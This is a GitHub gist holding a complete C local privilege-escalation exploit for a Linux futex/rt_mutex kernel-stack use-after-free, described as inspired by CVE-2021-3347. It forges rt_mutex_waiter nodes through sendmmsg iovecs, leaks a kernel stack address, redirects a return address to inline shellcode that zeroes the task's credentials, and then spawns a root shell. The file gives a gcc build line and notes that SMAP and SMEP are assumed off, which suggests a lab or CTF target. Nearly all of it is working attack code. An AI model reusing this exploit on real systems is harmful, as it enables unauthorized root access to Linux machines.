Skip to content

Instantly share code, notes, and snippets.

@st424204
Last active November 22, 2021 09:30
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save st424204/e6395bdbed43b1bf308a4de2ba9d6ba0 to your computer and use it in GitHub Desktop.
Save st424204/e6395bdbed43b1bf308a4de2ba9d6ba0 to your computer and use it in GitHub Desktop.
Futex Waiter Kernel Stack Use After free
// Futex Waiter Kernel Stack Use After free
// Vuln inspired by CVE-2021-3347
// exploit tech ref https://elongl.github.io/exploitation/2021/01/08/cve-2014-3153.html
// leak kernel stack and overwrite kernel stack return address to userspace ( SMAP & SMEP disable)
// gcc exp.c -static -masm=intel -o exp
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include <sys/socket.h>
#include <string.h>
#include <linux/futex.h>
#include <stdint.h>
#include <sys/time.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <signal.h>
#include <errno.h>
#include <limits.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <poll.h>
#include <assert.h>
#include <sys/uio.h>
#include <sys/select.h>
#include <sys/time.h>
#include <linux/aio_abi.h>
#define errExit(msg) \
do \
{ \
perror(msg); \
exit(EXIT_FAILURE); \
} while (0)
#define RB_RED 0
#define RB_BLACK 1
aio_context_t ctx_idp;
struct iocb iocb;
struct rb_node
{
unsigned long __rb_parent_color;
struct rb_node *rb_right;
struct rb_node *rb_left;
} __attribute__((aligned(sizeof(long))));
struct rt_mutex_waiter
{
struct rb_node tree_entry;
struct rb_node pi_tree_entry;
void **task;
struct rt_mutex *lock;
int prio;
size_t deadline;
};
struct rt_mutex_waiter left_waiter, gp_waiter, root_waiter, root2_waiter;
void *leak_waiter = NULL;
size_t data[0x10];
int *pi;
int *npi;
int *npi2;
int *npi3;
int *npi4;
int pfd[2];
int master[2];
pthread_t tid[0x100];
pthread_t small[0x100];
struct mmsghdr msgvec;
struct iovec msg[7];
#define BLOCKBUF "AAAAAAAA"
#define BLOCKBUFLEN strlen(BLOCKBUF)
#define COUNT_OF(arr) (sizeof(arr) / sizeof(arr[0]))
void shellcode()
{
__asm__(
"leave;"
"mov rax,QWORD PTR gs:0x16d00;"
"mov rax,[rax+0x4d0];"
"add rax,0x638;"
"mov rax,[rax];"
"xor ebx,ebx;"
"mov [rax],rbx;"
"mov [rax+8],rbx;"
"mov [rax+0x10],rbx;"
"mov [rax+0x18],rbx;"
"mov [rax+0x20],rbx;"
"mov dword ptr [rax],0x100;"
"add rsp,0x128;"
"xor eax,eax;"
"pop rbx;"
"pop rbp;"
"pop r12;"
"pop r13;"
"pop r14;"
"pop r15;"
"ret;");
}
int client_sockfd, server_sockfd;
void setup_msgs()
{
int i;
for (i = 0; i < COUNT_OF(msg); i++)
{
msg[i].iov_base = 0;
msg[i].iov_len = 0;
}
struct rt_mutex_waiter *waiter = (struct rt_mutex_waiter *)&msg[1].iov_base;
waiter->pi_tree_entry.__rb_parent_color = RB_BLACK;
waiter->prio = 0x1000;
waiter->pi_tree_entry.rb_left = &left_waiter.pi_tree_entry;
left_waiter.pi_tree_entry.__rb_parent_color = RB_BLACK;
left_waiter.prio = 0x1000;
msgvec.msg_hdr.msg_iov = msg;
msgvec.msg_hdr.msg_iovlen = COUNT_OF(msg);
}
void setup_sockets()
{
int fds[2];
assert(!socketpair(AF_UNIX, SOCK_STREAM, 0, fds));
client_sockfd = fds[0];
server_sockfd = fds[1];
while (send(client_sockfd, BLOCKBUF, BLOCKBUFLEN, MSG_DONTWAIT) != -1)
;
assert(errno == EWOULDBLOCK);
}
void *job6(void *x)
{
syscall(SYS_futex, pi, FUTEX_LOCK_PI, 0, 0, 0, 0);
}
void handle2(int sig)
{
while (1)
sleep(1);
}
void* job0(void* x){
setpriority(PRIO_PROCESS, 0, 15);
syscall(SYS_futex, pi, FUTEX_LOCK_PI, 0, 0, 0, 0);
read(pfd[0],&x,1);
syscall(SYS_futex, pi, FUTEX_LOCK_PI, 0, 0, 0, 0);
write(pfd[1],&x,1);
read(pfd[0],&x,1);
syscall(SYS_futex, npi3, FUTEX_WAKE, INT_MAX, 0, 0, 0);
sleep(2);
printf("%p\n", left_waiter.pi_tree_entry.rb_left);
printf("%p\n", &gp_waiter.pi_tree_entry);
size_t leak_addr = (size_t)left_waiter.pi_tree_entry.rb_left;
left_waiter.pi_tree_entry.__rb_parent_color = (size_t)(&gp_waiter.pi_tree_entry) | RB_RED;
left_waiter.pi_tree_entry.rb_right = (struct rb_node *)(leak_addr - 0x80);
pthread_t writer;
pthread_create(&writer, NULL, job6, NULL);
sleep(1);
mprotect((void *)(((size_t)(&gp_waiter)) & (~0xfff)), 0x2000, 7);
char *addr = (char *)((&gp_waiter.pi_tree_entry));
memcpy(addr + 1,shellcode, 0x100);
sleep(1);
pthread_kill(tid[2], SIGUSR2);
while(1) sleep(1);
}
void* job1(void* x){
setpriority(PRIO_PROCESS, 0, 16);
syscall(SYS_futex, pi, FUTEX_LOCK_PI, 0, 0, 0, 0);
syscall(SYS_futex, pi, FUTEX_UNLOCK_PI, 0, 0, 0, 0);
read(pfd[0],&x,1);
setup_msgs();
setup_sockets();
write(pfd[1],&x,1);
assert(!sendmmsg(client_sockfd, &msgvec, 1, 0));
while (1)
sleep(1);
}
void* job2(void* x){
signal(SIGUSR2, handle2);
syscall(SYS_futex, npi3, FUTEX_WAIT, 0, 0, 0, 0);
setpriority(PRIO_PROCESS, 0, 17);
syscall(SYS_futex, pi, FUTEX_LOCK_PI, 0, 0, 0, 0);
while(1) sleep(1);
}
int main(int argc,char** argv){
setvbuf(stdout,0,2,0);
pi = (int *)mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
*pi = 0;
npi3 = &pi[3];
pipe(pfd);
pthread_create(&tid[0],0,job0,0);
sleep(1);
pthread_create(&tid[1],0,job1,0);
pthread_create(&tid[2],0,job2,0);
puts("GOGO");
int val = gettid() | 0x80000000;
*pi = val;
syscall(SYS_futex, pi, FUTEX_UNLOCK_PI, 0, 0, 0, 0);
write(pfd[1],pi,1);
for (;;)
{
if (getuid() == 0)
break;
sleep(1);
}
system("sh");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment